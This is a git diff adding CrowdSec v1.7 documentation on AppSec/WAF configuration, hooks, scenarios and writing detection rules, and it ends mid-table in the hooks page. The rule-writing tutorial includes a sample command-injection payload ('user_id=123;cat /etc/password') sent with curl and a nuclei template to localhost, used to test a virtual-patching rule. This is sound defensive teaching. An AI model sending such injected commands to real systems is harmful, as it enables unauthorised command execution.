diff --git a/crowdsec-docs/docusaurus.config.ts b/crowdsec-docs/docusaurus.config.ts index d4f6014a5..a6c815100 100644 --- a/crowdsec-docs/docusaurus.config.ts +++ b/crowdsec-docs/docusaurus.config.ts @@ -273,7 +273,7 @@ const config: Config = { editUrl: "https://github.com/crowdsecurity/crowdsec-docs/edit/main/crowdsec-docs/", lastVersion: "current", versions: { - "v1.6": { + "v1.7": { banner: "none", path: "/", }, diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/alerts_and_scenarios.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/alerts_and_scenarios.md new file mode 100644 index 000000000..e4b805461 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/alerts_and_scenarios.md @@ -0,0 +1,155 @@ +--- +id: alerts_and_scenarios +title: Alerts & Scenarios +sidebar_position: 5 +--- + +## Generated Events Layout + +HTTP requests that trigger _In-Band_ or _Out-Of-Band_ AppSec/WAF rules generate events. These events can trigger scenarios that react by banning or alerting when rules are matched. + +The [`crowdsecurity/appsec-logs` parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-logs) is designed as a general-purpose tool to convert events into a format that is easier to process with scenarios. + + +The generated event looks like this: + + - `evt.Meta.service` is set to `appsec` + - `evt.Meta.log_type`: + - `appsec-block` for blocked requests (_In-Band_ rule matched, for example) + - `appsec-info` for requests that triggered _Out-Of-Band_ rule (not blocked) + - `evt.Meta.source_ip` is set to the source (client) IP + - `evt.Meta.target_host` is set to the FQDN if present (`Host` header in the HTTP request) + - `evt.Meta.target_uri` is set to the complete URI of the HTTP request + - `evt.Meta.rule_name` is set to the name of the triggered rule + - `evt.Meta.remediation_cmpt_ip` is set to the IP of the Remediation Component (Bouncer) that sent the HTTP request. + +:::info +The [`crowdsecurity/appsec-logs` parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-logs) is already part of the generic AppSec/WAF collections and doesn't have to be manually installed. +::: + + +## Creating Scenario Based on AppSec/WAF Events + +### Triggering on _In-Band_ Rules + +A simple yexample is the [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) that will ban IPs triggering two distinct _In-Band_ rules: + +```yaml title="/etc/crowdsec/scenarios/appsec-vpatch.yaml" +type: leaky +name: crowdsecurity/appsec-vpatch +filter: "evt.Meta.log_type == 'appsec-block'" +distinct: evt.Meta.rule_name +leakspeed: "60s" +capacity: 1 +groupby: evt.Meta.source_ip +... +``` + +:::info +The [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) is already part of the generic AppSec/WAF collections, and doesn't have to be manually installed. +::: + +### Triggering on Out-Of-Band Rules + +Let's try to solve an imaginary scenario: + +> We aim to prevent users from enumerating certain URLs (specifically, those that begin with `/foobar/*`) when a particular HTTP header is present (`something: *test*`). However, we want to impose this restriction only on users attempting to access two or more distinct `/foobar/*` URLs while this header is set. + +:::info +Keep in mind that _Out-Of-Band_ rules will generate an event instead of blocking the HTTP Request. +::: + +#### The AppSec/WAF Rule + +This is our AppSec/WAF rule: + +```yaml title="/etc/crowdsec/appsec-rules/foobar-access.yaml" +name: crowdsecurity/foobar-access +description: "Detect access to foobar files with the something header set" +rules: + - zones: + - URI + transform: + - lowercase + match: + type: startsWith + value: /foobar/ + - zones: + - HEADERS + variables: + - something + transform: + - lowercase + match: + type: contains + value: test +``` + +Let ensure it's loaded as an _Out-Of-Band_ rule, first by creating a new appsec-config: + +```yaml title="/etc/crowdsec/appsec-configs/appsec-oob.yaml" +name: crowdsecurity/appsec-oob +default_remediation: ban +#Let's add our rule as an out-of-band rule +outofband_rules: + - crowdsecurity/foobar-access +``` + +And then make sure this appsec-config is loaded: + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default + - crowdsecurity/appsec-oob +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +#### The Scenario + +We can now create a scenario that will trigger when a single IPs triggers this rule on distinct URLs: + +```yaml title="/etc/crowdsec/scenarios/foobar-enum.yaml" +type: leaky +format: 3.0 +name: crowdsecurity/foobar-enum +description: "Ban IPs repeatedly triggering out of band rules" +filter: "evt.Meta.log_type == 'appsec-info' && evt.Meta.rule_name == 'crowdsecurity/foobar-access'" +distinct: evt.Meta.target_uri +leakspeed: "60s" +capacity: 1 +groupby: evt.Meta.source_ip +blackhole: 1m +labels: + remediation: true +``` + +:::info +The `filter` ensures only _Out-Of-Band_ events generated by our scenario are picked up, while the `capacity: 1` and `distinct: evt.Meta.target_uri` will ensure that the IP has to trigger the rule on at least 2 distinct URLs to trigger the scenario. +::: + +#### Testing + +Let's now test our setup: + +```bash +$ curl -I localhost/foobar/1 -H 'something: test' +HTTP/1.1 404 Not Found + +$ curl -I localhost/foobar/2 -H 'something: test' +HTTP/1.1 404 Not Found + +$ curl -I localhost/foobar/3 -H 'something: test' +HTTP/1.1 403 Forbidden +``` + +And CrowdSec logs will show: + +``` +INFO[2024-12-02T15:28:16+01:00] Ip ::1 performed 'crowdsecurity/foobar-enum' (2 events over 4.780233613s) at 2024-12-02 14:28:16.858419797 +0000 UTC +INFO[2024-12-02T15:28:17+01:00] (test/crowdsec) crowdsecurity/foobar-enum by ip ::1 (/0) : 4h ban on Ip ::1 +``` + +As expected, the first two requests were processed without being blocked. The second one triggered the scenario, resulting in the third request being blocked by the bouncer. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/benchmark.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/benchmark.md new file mode 100644 index 000000000..c4e771f8c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/benchmark.md @@ -0,0 +1,65 @@ +--- +id: benchmark +title: WAF Component Benchmark +sidebar_position: 80 +--- + + + +The Application Security Component benchmarks have been run on a AWS EC2 Instance `t2.medium` (2vCPU/4GiB RAM). + +All the benchmarks have been run with only one `routine` configured for the Application Security Component. + +The benchmarks cover the following tests: + +- Basic GET request: + - 5 concurrent connections / 1000 requests + - 15 concurrent connections / 1000 requests + + + +Each test has been run with multiple cases: + +- Application Security Component enabled but without any rules +- Application Security Component enabled with 100 vpatch rules (in in-band) +- Application Security Component enabled with all the CRS (in in-band) + +On the system, we deployed: + +- Openresty `1.21.4.3` +- CrowdSec `v1.6.0` +- cs-openresty-bouncer `v1.0.1` + +## Basic GET request + +### 5 concurrent connections / 1000 requests + +![5 concurrent connections / 1000 requests](/img/appsec/bench/basic_get_appsec_one_routine_5_1000.png) + +### 15 concurrent connections / 1000 requests + +![15 concurrent connections / 1000 requests](/img/appsec/bench/basic_get_appsec_one_routine_15_1000.png) + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration.md new file mode 100644 index 000000000..e873f0037 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/configuration.md @@ -0,0 +1,417 @@ +--- +id: configuration +title: Configurations Files +sidebar_position: 6 +--- + +## Overview + +This page explains the interaction between various files involved in AppSec configuration and the details about the processing pipeline AppSec request processing. + +**Prerequisites**: +- Familiarity with [AppSec concepts](/appsec/intro.md) +- Basic AppSec setup completed (see Getting Started guides) + +The AppSec Component configuration consists of three main parts: + + - **[Acquisition configuration](/log_processor/data_sources/appsec.md)**: Defines which port the AppSec Component listens on and which AppSec configurations files to load + - **AppSec configurations**: Define which rules are loaded and how they behave, along with [hooks](/appsec/hooks.md) for runtime customization + - **[AppSec rules](/appsec/rules_syntax.md)**: The actual detection signatures that identify and block malicious requests + +## AppSec Acquisition + +The goals of the acquisition file are: +- To specify the **address** and **port** where the AppSec-enabled Remediation Component(s) will forward the requests to. +- And specify one or more [AppSec configuration files](#appsec-configuration) to use as definition of what rules to apply and how. + +Details can be found in the [AppSec Datasource page](/log_processor/data_sources/appsec.md). + +### Defining Multiple AppSec Configurations + +Often you will want to activate multiple AppSec configuration defining groups of rules that will be handled the same way. + +Use the `appsec_configs` *(with an S)* parameter to load multiple configurations that work together. + +In the following example we have two configurations: +- One with [CrowdSec default AppSec rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-configurations/appsec-default) running in inband mode +- The other for the [CRS rules ↗️](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) that by default run in out of band mode. + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default # In-band virtual patching + - crowdsecurity/crs # Out-of-band detection based on ModSec CRS - from crowdsecurity/appsec-crs collection +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +:::info +CrowdSec AppSec collections are available on [CrowdSec Hub ↗️](https://app.crowdsec.net/hub/collections?filters=search%3Dappsec) and kept up to date. + +For example the CRS collection: `sudo cscli collections install crowdsecurity/appsec-crs`. +This collection installs OWASP CRS in out-of-band and adds a scenario to ban IPs triggering multiple rules. +::: + +### Using Custom Configurations + +If you want to alter the default configuration files we recommend creating a new configuration files instead of modifying existing hub configurations. +Modifying hub configurations will make them *tainted* and prevent automatic updates. + +For example, if you want to change the default vpatch rules config, create your own and use it instead in the acquisition file. + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default + - custom/my_vpatch_rules +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +A custom configuration file could look like this: + +```yaml title="/etc/crowdsec/appsec-configs/my_vpatch_rules.yaml" +name: custom/my_vpatch_rules +default_remediation: ban +inband_rules: + - custom/custom-vpatch-* +# Add custom hooks as needed +``` + +## AppSec Configuration Files + +AppSec configuration files declare **which rules to load** in the **in-band** *(blocking)* and/or **out-of-band** *(non-blocking)*, define how matches are handled (e.g., default remediation), and let you tweak processing via hooks like `on_load`, `pre_eval`, `post_eval`, and `on_match`. + +For details, jump to the [Configuration properties list](#appendix-appsec-configuration-properties) + +:::info +When loading multiple AppSec configs, _hooks_ and _appsec rules_ are appended, and for conflicting options (e.g., `default_remediation`), the last one takes precedence. +::: + +### Configuration Processing Order + +When multiple AppSec configurations are loaded, they are processed in the order specified in the `appsec_configs` list. For details on how in-band and out-of-band rules work, see the [AppSec Introduction](/appsec/intro.md#inband-rules-and-out-of-band-rules). + +### Multi-Config Rule Evaluation + +1. All `inband_rules` from all configurations are combined and evaluated together +2. All `outofband_rules` from all configurations are combined and evaluated together +3. Hooks from all configurations are executed in the order the configurations are listed +4. For conflicting configuration options (like `default_remediation`), the last configuration's value takes precedence + +## AppSec Configuration Reference + +Each AppSec configuration file defines how rules are loaded and processed. +You can create custom configuration files in the following folder: `/etc/crowdsec/appsec-configs/` + +Here's the complete reference of available directives: + +### Core Configuration Directives + +#### `name` (required) +Unique identifier for the AppSec configuration, used for logging and referencing. + +```yaml +name: custom/my-appsec-config +``` + +#### `inband_rules` (optional) +List of rule patterns to load as in-band rules. See [in-band rule processing](/appsec/intro.md#inband-rule-processing) for details. + +```yaml +inband_rules: + - crowdsecurity/base-config + - crowdsecurity/vpatch-* + - custom/critical-patches +``` + +#### `outofband_rules` (optional) +List of rule patterns to load as out-of-band rules. See [out-of-band rule processing](/appsec/intro.md#out-of-band-rules-processing) for details. + +```yaml +outofband_rules: + - crowdsecurity/crs + - custom/detection-rules +``` + +### Remediation Configuration + +#### `default_remediation` (optional, default: "ban") +Default action for in-band rules that match. Special value `allow` prevents blocking. + +```yaml +default_remediation: ban # or "allow", "captcha", etc. +``` + +:::info +When using multiple AppSec configs the last declared one takes precedence for this property +::: + +#### `default_pass_action` (optional, default: "allow") +Action for requests that don't match any rules or match rules with pass action. + +```yaml +default_pass_action: allow # or any custom value +``` + +:::info +When using multiple AppSec configs the last declared one takes precedence for this property +::: + +### HTTP Response Codes + +#### `blocked_http_code` (optional, default: 403) +HTTP status code returned to the remediation component for blocked requests. + +#### `passed_http_code` (optional, default: 200) +HTTP status code returned to the remediation component for allowed requests. + +#### `user_blocked_http_code` (optional, default: 403) +HTTP status code returned to the end user for blocked requests. + +#### `user_passed_http_code` (optional, default: 200) +HTTP status code returned to the end user for allowed requests. + +```yaml +blocked_http_code: 403 +passed_http_code: 200 +user_blocked_http_code: 403 +user_passed_http_code: 200 +``` + +### Performance and Processing Options + +#### `inband_options` and `outofband_options` +Performance tuning options for rule processing: + +```yaml +inband_options: + disable_body_inspection: false # Skip HTTP body inspection + request_body_in_memory_limit: 1048576 # Max body size in memory (bytes) + +outofband_options: + disable_body_inspection: false + request_body_in_memory_limit: 1048576 +``` + +**`disable_body_inspection`**: Set to `true` to skip HTTP body analysis for performance. +**`request_body_in_memory_limit`**: Maximum request body size to load into memory (default: 1MB). Larger bodies are processed differently. + +#### `log_level` (optional) +Logging verbosity for this configuration. Available levels: `debug`, `info`, `warn`, `error`. + +```yaml +log_level: info # Use "debug" for troubleshooting +``` + +### Hook Configuration + +AppSec configurations support four types of hooks for custom behavior: + +#### `on_load` +Executed when the configuration is loaded. Typically used for global rule modifications. + +```yaml +on_load: + - apply: + - RemoveInBandRuleByName("problematic-rule") +``` + +#### `pre_eval` +Executed before rule evaluation for each request. Supports conditional logic. + +```yaml +pre_eval: + - filter: IsInBand && req.RemoteAddr == "192.168.1.100" + apply: + - RemoveInBandRuleByName("strict-rule") +``` + +#### `post_eval` +Executed after rule evaluation. Useful for debugging and analysis. + +```yaml +post_eval: + - filter: IsInBand + apply: + - DumpRequest().WithBody().ToJSON() +``` + +#### `on_match` +Executed when rules match. Used to modify remediation or generate custom alerts. + +```yaml +on_match: + - filter: req.URL.Host == "staging.example.com" + apply: + - SetRemediation("allow") + - CancelAlert() +``` + +For complete hook documentation, see [AppSec Hooks](/appsec/hooks.md). + +## Rule Management + +### Disabling Rules at Runtime + +You can disable rules at runtime, either globally (for all requests) or based on specific conditions (source IP, URI, ...). + +You can disable rules by: + - Name with `RemoveInBandRuleByName`: For CrowdSec rules (name as seen in `cscli appsec-rules list`) + - ID with `RemoveInBandRuleByID`: For seclang/ModSecurity rules by numeric ID + - Tag with `RemoveInBandRuleByTag`: For seclang/ModSecurity rules by tag + +The same functions exist for out-of-band rules, prefixed with `RemoveOutBandRuleBy...` + +To disable a rule, create a new AppSec config to avoid tainting the configuration from the hub (or update your existing custom configuration). + +```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" +name: custom/my_config +on_load: + - apply: + - RemoveInBandRuleByName("crowdsecurity/vpatch-env-access") +pre_eval: + - filter: IsInBand == true && req.URL.Path startsWith "/bar/" + apply: + - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php") +``` + +This example uses [hooks](/docs/appsec/hooks.md) to modify the configuration in 2 places: + - `on_load`: Expressions here will be applied when CrowdSec loads the configuration, effectively disabling the rule `crowdsecurity/vpatch-env-access` globally. + - `pre_eval`: Expressions here will be applied only if the provided filter matches. In this example, we are disabling the rule `crowdsecurity/generic-wordpress-uploads-php` only if the request URI starts with `/blog/` and if we are currently processing in-band rules. + +You can also disable native (seclang) rules by providing their ID with the `RemoveInBandRuleByID` helper. See the [hooks](appsec/hooks.md) documentation for a list of available helpers. + +Also note that we are not loading any rules in our custom config: the rules are loaded by the `crowdsecurity/appsec-default` config, and we are just modifying the runtime behavior with this config. + +Finally, add your new config to the acquisition configuration: + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default + - custom/my_config +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +## Allowlisting + +### Fully allow a specific IP or range + +If you want to ignore all rule matches for a specific IP or range, you can use a [centralized allowlist](local_api/allowlists.md). + +Rules will be processed as usual, but the request will not be blocked even if a rule matches. + +### Disable specific rules for a specific IP/range + +If you want to disable rule(s) for a specific IP (or range), you will need to use the `pre_eval` hook (refer to the section above for more details): + +```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" +name: custom/my_config +pre_eval: + - filter: req.RemoteAddr == "1.2.3.4" + apply: + - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php") +``` + +### Disable appsec for a specific FQDN + +If your reverse-proxy forwards all requests to CrowdSec regardless of the FQDN, you can disable AppSec for specific domains with a custom AppSec config (the request will always be allowed): + +```yaml title="/etc/crowdsec/appsec-configs/my_config.yaml" +name: custom/my_config +on_match: + - filter: req.URL.Host == "foo.com" + apply: + - CancelEvent() + - CancelAlert() + - SetRemediation("allow") +``` + +With this config, the rules will still be evaluated, but if a rule matches no alert or event will be generated, and the remediation will be set to `allow`(ie, instruct the bouncer to let the request through). + +## Appendix: Appsec configuration properties + +The AppSec configuration is referenced by the acquisition configuration (`appsec_config`, `appsec_configs` or `appsec_config_path`): + +> An example AppSec configuration +```yaml +name: crowdsecurity/virtual-patching +default_remediation: ban +#log_level: debug +inband_rules: + - crowdsecurity/base-config + - crowdsecurity/vpatch-* +# inband_options: +# disable_body_inspection: true +``` + +### `name` + +(required) the `name` of the AppSec configuration, used for both logging purposes and to reference the configuration from acquisition configuration. + +### `outofband_rules` + +A supplementary list of rules can be loaded during the out-of-band phase. These out-of-band rules are non-blocking and are assessed only after the AppSec Component has responded to the remediation component. This approach is beneficial for rules that may be costly to execute, have a higher likelihood of generating false positives, or are applicable in specific scenarios. + +### `inband_rules` + +An optional list of rules to be loaded in in-band phase. In band rules are blocking and evaluated before answering the remediation component. Useful for virtual patching, rules with no/low false positives. + +### `default_remediation` + +An optional remediation for in-band rules, defaults to `ban`. If set to `allow`, remediation component won't block the request (even if it matched rules). Any other value (including `captcha`) is passed as-is back to the remediation component. + +:::info +When using multiple AppSec configs the last declared one takes precedence for this property +::: + +### `default_pass_action` + +An optional remediation for requests that didn't match any rules (or rules with a pass action). Defaults to `allow`. Any other value will be passed as-is to the remediation component. + +:::info +When using multiple AppSec configs the last declared one takes precedence for this property +::: + +### `blocked_http_code` + +The HTTP code to return to the remediation component when a request should be blocked. Defaults to `403` + +### `passed_http_code` + +The HTTP code to return to the remediation component when a request should not be blocked. Defaults to `200` + +### `user_blocked_http_code` + +The HTTP code to return to the final client when a request should be blocked. Defaults to `403` + +### `user_passed_http_code` + +The HTTP code to return to the final client when a request should not be blocked. Defaults to `200` + +### `on_load` + +See the [dedicated doc](/docs/appsec/hooks.md#on_load) + +### `pre_eval` + +See the [dedicated doc](/docs/appsec/hooks.md#pre_eval) + +### `post_eval` + +See the [dedicated doc](/docs/appsec/hooks.md#post_eval) + +### `on_match` + +See the [dedicated doc](/docs/appsec/hooks.md#on_match) + +### `inband_options` and `outofband_options` + +Subset of options that can be applied to the in-band/out-of-band rules: + - `disable_body_inspection` : boolean, allows to disable HTTP body inspection + - `request_body_in_memory_limit` : a number of byes indicating the maximum body size to be loaded in memory diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/create_rules.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/create_rules.md new file mode 100644 index 000000000..894a0d936 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/create_rules.md @@ -0,0 +1,260 @@ +--- +id: create_rules +title: Create AppSec Rules +sidebar_position: 3 +--- + +## Foreword + +This documentation assumes you're trying to create an AppSec rules with the intent of submitting to the hub, and thus creating the associated functional testing. The creation of said functional testing will guide our process and will make it easier. + +We're going to create a rule for an imaginary vulnerability: [a shell injection in the user_id parameter](https://nvd.nist.gov/vuln/detail/CVE-2022-46169) that can be triggered because [the `x-foobar-bypass` header confuses the application](https://nvd.nist.gov/vuln/detail/CVE-2023-22515). + +The exploit looks like this: +`curl localhost -H "x-foobar-bypass: 1" -d "user_id=123;cat /etc/password&do=yes"` + +And results in a HTTP request looking like this: + +``` +POST / HTTP/1.1 +... +x-foobar-bypass: 1 +Content-Length: 36 +Content-Type: application/x-www-form-urlencoded + +user_id=123;cat /etc/password&do=yes +``` + +## Pre-requisites + +1. [Create a local test environment](https://doc.crowdsec.net/docs/contributing/contributing_test_env) or have crowdsec (>= 1.5.6) installed locally +2. Have docker installed locally to run the test web server +3. Have [nuclei installed](https://docs.projectdiscovery.io/tools/nuclei/install) (`go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest`) +4. Clone the hub + +```bash +git clone https://github.com/crowdsecurity/hub.git +``` + +## Create our test + +From the root of the hub repository: + +```bash +▶ cscli hubtest create my-vuln --appsec + + Test name : my-vuln + Test path : /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln + Config File : /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln/config.yaml + Nuclei Template : /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln/my-vuln.yaml + +``` + +If you are creating a virtual-patching rule, please name your test `CVE-YYYY-XYZ` and your rule `vpatch-CVE-YYYY-XYZ`. + +## Configure our test + +Let's incorporate our AppSec rule into the configuration file. + +> .appsec-tests/my-vuln/config.yaml + +```yaml +appsec-rules: + - ./appsec-rules/crowdsecurity/my-vuln.yaml +nuclei_template: my-vuln.yaml +``` + +_note:_ Since our custom AppSec rule has not been added to the hub yet, we need to define its path relative to the root of the hub directory. + +The `hubtest create` command created a boilerplate nuclei template that we can edit to add our HTTP request: + +> .appsec-tests/my-vuln/my-vuln.yaml + +```yaml +id: my-vuln +info: + name: my-vuln + author: crowdsec + severity: info + description: my-vuln testing + tags: appsec-testing +http: + #this is a dummy request, edit the request(s) to match your needs + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + x-foobar-bypass: 1 + Content-Length: 36 + Content-Type: application/x-www-form-urlencoded + + user_id=123;cat /etc/password&do=yes + cookie-reuse: true + #test will fail because we won't match http status + matchers: + - type: status + status: + - 403 +``` + +A few notes about [the nuclei template](https://docs.projectdiscovery.io/templates/introduction): + +- The template expects to get a `403` from the server. It's how `hubtest` can tell if the request was caught. +- To capture the HTTP request, running your exploit against a `nc` running locally can be useful: + +`curl localhost:4245 -H "x-foobar-bypass: 1" -d "user_id=123;cat /etc/password&do=yes"` + +```bash +▶ nc -lvp 4245 +Listening on 0.0.0.0 4245 +Connection received on localhost 50408 +POST / HTTP/1.1 +Host: localhost:4245 +User-Agent: curl/7.68.0 +Accept: */* +x-foobar-bypass: 1 +Content-Length: 36 +Content-Type: application/x-www-form-urlencoded + +user_id=123;cat /etc/password&do=yes + +``` + +## Rule creation + +Let's now create our AppSec rule: + +> appsec-rules/crowdsecurity/my-vuln.yaml + +```yaml +name: crowdsecurity/my-vuln +description: "Imaginary RCE (CVE-YYYY-XYZ)" +rules: + - and: + - zones: + - METHOD + match: + type: equals + value: POST + - zones: + - HEADERS_NAMES + transform: + - lowercase + match: + type: equals + value: x-foobar-bypass + - zones: + - BODY_ARGS + variables: + - user_id + match: + type: regex + value: "[^a-zA-Z0-9_]" +labels: + type: exploit + service: http + confidence: 3 + spoofable: 0 + behavior: "http:exploit" + label: "Citrix RCE" + classification: + - cve.CVE-YYYY-XYZ + - attack.T1595 + - attack.T1190 + - cwe.CWE-284 +``` + +Let's get over the relevant parts: + +- `name` is how the alert will appear to users (in `cscli` or [the console](http://app.crowdsec.net)) +- `description` is how your scenario will appear in [the hub](https://hub.crowdsec.net) +- `labels` section is used both in [the hub](https://hub.crowdsec.net) and [the console](https://app.crowdsec.net). [It must follow rules described here](/log_processor/scenarios/format.md#labels) +- `rules` describe what we want to match: + - a [`METHOD`](/appsec/rules_syntax.md#target) [equal to `POST`](/appsec/rules_syntax.md#match) + - the presence of a header ([`HEADERS_NAME`](/appsec/rules_syntax.md#target)) with a name that once transformed to `lowercase`, is `x-foobar-bypass` + - a post parameter (`BODY_ARGS`), `user_id` that contains something else than a-z A-Z or 0-9 or `_` + +:::info +You can [find detailed rules syntax here](/appsec/rules_syntax.md). +::: + +## Testing + +We now have the needed pieces: + +- a nuclei template that simulates exploitation +- an AppSec rule to detect the vulnerability exploitation +- a test that ties both together, ensuring our rule detects our exploit + +To run our test, we're going to use the provided docker-compose file. It starts an nginx server (listening on port `7822`), that will be used as a "target" for our exploitation attempt. The nginx service is configured to interact with the ephemeral crowdsec service started by `hubtest`: + +> from the root of the hub repository + +```bash +docker-compose -f docker/appsec/docker-compose.yaml up -d +``` + +Depending on how you installed `nuclei`, be sure to add it to your `$PATH`: + +```bash +PATH=~/go/bin/:$PATH +``` + +We're now ready to go! + +```bash +▶ cscli hubtest run my-vuln --appsec +INFO[2023-12-21 16:43:28] Running test 'my-vuln' +INFO[2023-12-21 16:43:30] Appsec test my-vuln succeeded +INFO[2023-12-21 16:43:30] Test 'my-vuln' passed successfully (0 assertions) +────────────────── + Test Result +────────────────── + my-vuln ✅ +────────────────── + +``` + +Congrats to you, you are now ready to make your contribution available to the crowd! Head [to our github repository, and open a PR](https://github.com/crowdsecurity/hub) (including the tests). + +## Troubleshooting your tests + +Things didn't work as intended? + +### Startup errors + +If your test doesn't work, chances are that something prevented it to run. + +1. nuclei isn't in the standard PATH + +You will see an error message such as: `ERRO[2023-12-21 16:43:16] Appsec test my-vuln failed: exec: "nuclei": executable file not found in $PATH`. + +2. your nuclei template isn't valid + +``` +WARN[2023-12-21 16:50:33] Error running nuclei: exit status 1 +WARN[2023-12-21 16:50:33] Stdout saved to /.../my-vuln-1703173832_stdout.txt +WARN[2023-12-21 16:50:33] Stderr saved to /.../my-vuln-1703173832_stderr.txt +WARN[2023-12-21 16:50:33] Nuclei generated output saved to /.../my-vuln-1703173832.json +``` + +note that you can always run your nuclei template "manually" to debug it: `nuclei -t path/to/my-vuln.yaml -u target` + +3. your AppSec rule isn't valid + +You will see crowdsec fataling at startup: + +``` +time="2023-12-21 15:42:10" level=info msg="loading inband rule crowdsecurity/*" component=appsec_config name=appsec-test type=appsec +time="2023-12-21 15:42:10" level=error msg="unable to convert rule crowdsecurity/my-vuln : unknown zone 'BODY'" component=appsec_collection_loader name=appsec-test type=appsec +time="2023-12-21 15:42:10" level=fatal msg="crowdsec init: while loading acquisition config: while configuring datasource of type AppSec fro... +``` + +### Inspecting runtime logs + +In case of a test failure, do not delete the `.appsec-tests//runtime/` folder. + +Rather, inspect the files inside the `.appsec-tests//runtime/` folder: + +- `-_[stderr|stdout].txt`: These files have the output from the nuclei command. They show the response of the request, which may suggest that the request was not blocked. +- `log/crowdsec.log`: This log file is from the crowdsec that was started by `cscli hubtest`. Here, you might find errors related to CrowdSec, like problems starting or loading the AppSec Component. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/faq.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/faq.md new file mode 100644 index 000000000..609d58285 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/faq.md @@ -0,0 +1,5 @@ +--- +id: faq +title: FAQ +sidebar_position: 5 +--- diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/hooks.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/hooks.md new file mode 100644 index 000000000..2ae4773b0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/hooks.md @@ -0,0 +1,224 @@ +--- +id: hooks +title: AppSec Component Hooks +sidebar_position: 4 +--- + +The Application Security Component allows you to hook at different stages to change its behavior at runtime. + +The three phases are: + - `on_load`: Called just after the rules have been loaded into the engine. + - `pre_eval`: Called after a request has been received but before the rules are evaluated. + - `post_eval`: Called after the rules have been evaluated. + - `on_match`: Called after a successful match of a rule. If multiple rules, this hook will be called only once. + +## Using hooks + +Hooks are configured in your `appsec-config` file. + +`on_load` hook only supports `apply`, while other hooks support `filter` and `apply` parameters. + +Both `filter` and `apply` of the same phase have access to the same helpers. + +Except for `on_load`, hooks can be called twice per request: once for in-band processing and once for out-of-band processing, thus it is recommended to use the `IsInBand` and `IsOutBand` variables to filter the hook. + + +Hooks have the following format: + +```yaml +on_match: + - filter: IsInBand && 1 == 1 + apply: + - valid expression + - valid expression +``` + +If the filter returns `true`, each of the expressions in the `apply` section are executed. + + + + +### `on_load` + +This hook is intended to be used to disable rules at loading (eg, to temporarily disable a rule that is causing false positives). + + +#### Available helpers + +| Helper Name | Type | Description | +| ------------------------- | ------------------------------------ | ------------------------------------------------------------------------------------------------------- | +| `RemoveInBandRuleByName` | `func(tag str)` | Disable the named in-band rule | +| `RemoveInBandRuleByTag` | `func(tag str)` | Disable the in-band rule identified by the tag (multiple rules can have the same tag) | +| `RemoveInBandRuleByID` | `func(id int)` | Disable the in-band rule identified by the ID | +| `RemoveOutBandRuleByName` | `func(tag str)` | Disable the named out-of-band rule | +| `RemoveOutBandRuleByTag` | `func(tag str)` | Disable the out-of-band rule identified by the tag (multiple rules can have the same tag) | +| `RemoveOutBandRuleByID` | `func(id int)` | Disable the out-of-band rule identified by the ID | +| `SetRemediationByTag` | `func(tag str, remediation string)` | Change the remediation of the in-band rule identified by the tag (multiple rules can have the same tag) | +| `SetRemediationByID` | `func(id int, remediation string)` | Change the remediation of the in-band rule identified by the ID | +| `SetRemediationByName` | `func(name str, remediation string)` | Change the remediation of the in-band rule identified by the name | + +##### Example + +```yaml +name: crowdsecurity/my-appsec-config +default_remediation: ban +inband_rules: + - crowdsecurity/base-config + - crowdsecurity/vpatch-* +on_load: + - apply: + - RemoveInBandRuleByName("my_rule") + - SetRemediationByTag("my_tag", "captcha") +``` + + +### `pre_eval` + +This hook is intended to be used to disable rules only for this particular request (eg, to disable a rule for a specific IP). + +#### Available helpers + +| Helper Name | Type | Description | +| ------------------------- | ------------------------------------ | ------------------------------------------------------------------------------------------------------- | +| `RemoveInBandRuleByName` | `func(tag str)` | Disable the named in-band rule | +| `RemoveInBandRuleByTag` | `func(tag str)` | Disable the in-band rule identified by the tag (multiple rules can have the same tag) | +| `RemoveInBandRuleByID` | `func(id int)` | Disable the in-band rule identified by the ID | +| `RemoveOutBandRuleByName` | `func(tag str)` | Disable 